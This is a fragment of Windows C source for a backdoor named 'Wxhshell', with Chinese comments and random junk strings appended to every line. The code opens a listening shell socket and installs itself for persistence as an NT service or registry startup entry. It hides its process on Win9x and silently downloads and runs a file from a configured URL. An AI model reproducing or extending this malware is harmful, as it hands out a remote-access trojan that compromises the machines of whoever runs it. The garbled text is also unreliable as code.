DWORD PebBaseAddress; L9Z;:``p
DWORD AffinityMask; Rgo rkZlVM
DWORD BasePriority; l\AMl
\
ULONG UniqueProcessId; _I`,Br:N
ULONG InheritedFromUniqueProcessId; /&& 2u7*
} PROCESS_BASIC_INFORMATION; do-ahl,
aSuM2
PROCNTQSIP NtQueryInformationProcess; l+V,DCE
"\Egs)\
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )k&a}u5y
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \~d";~Y`
cfox7FmW
HANDLE hProcess; ]eQV,Vt
PROCESS_BASIC_INFORMATION pbi; {8,<ZZ_
v%k9M{
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N"/-0(9[
if(NULL == hInst ) return 0; 8zLY6@
!Fw?H3X!"q
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KfBTL!0#
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _rV 5E
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =cN&A_L(
Y={&5Mir
if (!NtQueryInformationProcess) return 0; Rj F'x
QIN."&qC^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I)q,kP@yY
if(!hProcess) return 0; _LAS~x7,
HkV1sT
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IX: 25CEI2
;!91^Tl
CloseHandle(hProcess); yKXff1^M
e__@GBG
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ftw;Yz
if(hProcess==NULL) return 0; l$K,#P<)
AM"Nn
L"
HMODULE hMod; 4!asT;`'
char procName[255]; J$4wL
F3
unsigned long cbNeeded; H/M Au7
Z3k(P
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /vY_Y3k#
!3mA0-!+
CloseHandle(hProcess); I -Xlx<
6:U$w7P0
e
if(strstr(procName,"services")) return 1; // 以服务启动 6.5T/D*TT
{X2`&<i6
return 0; // 注册表启动 BR'I+lQ
} ,BF E=:ZIK
"fg](Cp[z
// 主模块 cJM:
int StartWxhshell(LPSTR lpCmdLine) <APB11
{ nf1#tlIJd
SOCKET wsl; IchCACK
BOOL val=TRUE; hlu:=<B
int port=0; ,+qVu,
struct sockaddr_in door; 22kp l)vbU
2,lqsd:xM
if(wscfg.ws_autoins) Install(); "#v=IJy&r
vHAg-Avc
port=atoi(lpCmdLine); wU#F_De)R:
2L AYDaS
if(port<=0) port=wscfg.ws_port; V`adWXu
h8\
T
WSADATA data; th6+2&B6
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ut>4U'.H
v7%X@j]ji
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; t9&cE:n
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `cx]e
door.sin_family = AF_INET; $?,a[79
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Tirux ;
door.sin_port = htons(port); Xh J,"=E+
nR4y`oP+
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :{NC-%4o0
closesocket(wsl); f84:hXo6
return 1; ,uzN4_7u
} *. 3N=EO
fzjU<?}
if(listen(wsl,2) == INVALID_SOCKET) { |
ohL]7b<
closesocket(wsl); T&86A\D\z
return 1; "x@='>:$
} p8s:g~ W
Wxhshell(wsl); "<}&GcJbz
WSACleanup(); J 5h+s-'
&V|>dLT>A
return 0; 5Z4-Z
|QV!-LK
} jjJ2>3avY
qQ!1t>j+H
// 以NT服务方式启动 Soie^$
Y
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {0! ~C=P
{ bYz&P`o}
DWORD status = 0; =AVgIv
DWORD specificError = 0xfffffff; :V2bS
_"4xKh)
serviceStatus.dwServiceType = SERVICE_WIN32; GE>[*zN
serviceStatus.dwCurrentState = SERVICE_START_PENDING; q1E:l!2al
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )2,eFNB#n
serviceStatus.dwWin32ExitCode = 0; T[=S$n-'
serviceStatus.dwServiceSpecificExitCode = 0; #,{+3Y&5-+
serviceStatus.dwCheckPoint = 0; >NB?&|
serviceStatus.dwWaitHint = 0; %4\OPw&
9WJz~SP+vR
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E~<`/s
if (hServiceStatusHandle==0) return; IrMl:+t\
RE.r4uOJg
status = GetLastError(); 3~e8bcb
if (status!=NO_ERROR) .To;"D;j,
{ H3{GmV8
serviceStatus.dwCurrentState = SERVICE_STOPPED; l!#m&'16"
serviceStatus.dwCheckPoint = 0; ]|_\xO(
serviceStatus.dwWaitHint = 0; yqSs,vz
serviceStatus.dwWin32ExitCode = status; Tz2-Bp]h
serviceStatus.dwServiceSpecificExitCode = specificError; (M
=Y&M'f
SetServiceStatus(hServiceStatusHandle, &serviceStatus); m]*Bx%-1c
return; vK$"# F~
} *5<Sr q'
1 nvTce
serviceStatus.dwCurrentState = SERVICE_RUNNING; '8Phxx|
serviceStatus.dwCheckPoint = 0; |*RYq2y
serviceStatus.dwWaitHint = 0; A]L%dFK
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ??hJEE
} %+ZJhHT
$,xnU.n
// 处理NT服务事件,比如:启动、停止 bqanFQj
VOID WINAPI NTServiceHandler(DWORD fdwControl) O4<g%.HC6
{ Ev!{n
switch(fdwControl) @|a>&~xX
{ v#=`%]mL
case SERVICE_CONTROL_STOP: ~x{.jn
serviceStatus.dwWin32ExitCode = 0; b;|55Y
serviceStatus.dwCurrentState = SERVICE_STOPPED; KYJjwXT28W
serviceStatus.dwCheckPoint = 0; ~)?
serviceStatus.dwWaitHint = 0; fjnT e
{ `[zQf
SetServiceStatus(hServiceStatusHandle, &serviceStatus); XPB9~::
} :|o<SZ
return; ylKmj]A
case SERVICE_CONTROL_PAUSE: 9+,R`v
serviceStatus.dwCurrentState = SERVICE_PAUSED; t6c<kIQ:-O
break; v){ .Z^_C
case SERVICE_CONTROL_CONTINUE: jkiTj~WE-
serviceStatus.dwCurrentState = SERVICE_RUNNING; I8OD$`~*U6
break; uS&|"*pR
case SERVICE_CONTROL_INTERROGATE: Ax oD8|
break; M5T9JWbN
}; xoB},Xl$D
SetServiceStatus(hServiceStatusHandle, &serviceStatus); k%[3Q>5iM
} xUF_1hY
RvJ['(-
// 标准应用程序主函数 N8KQz_]9I
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @`FCiH M
{ fAZiC+
sBv>E}*R
// 获取操作系统版本 Khh0*S8.K
OsIsNt=GetOsVer(); m~Ld~I"
GetModuleFileName(NULL,ExeFile,MAX_PATH); +7Kyyu)y@
( *G\g=D
// 从命令行安装 M.h`&8
if(strpbrk(lpCmdLine,"iI")) Install(); 6)pH|d.FR
w@2Vts
// 下载执行文件 reo{*)%
if(wscfg.ws_downexe) { (I@bkMp
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E^w:KC2@
WinExec(wscfg.ws_filenam,SW_HIDE); ZxGP/D
} = sAn,ri
p8wyEHB
if(!OsIsNt) { 2tayP@$
// 如果时win9x,隐藏进程并且设置为注册表启动 \b[9ebME
HideProc(); )a}"^1
StartWxhshell(lpCmdLine); \U%#nU{
} %iJ%{{f`
else (2?G:+C 7
if(StartFromService()) W:i?t8y\y
// 以服务方式启动 X5YiFLH>y\
StartServiceCtrlDispatcher(DispatchTable); ThW,Y"
l
else @1zQce>
// 普通方式启动 K}[>T(0E
StartWxhshell(lpCmdLine); ck#"*],
L]a`"CH:a$
return 0; TEUY3z[g
}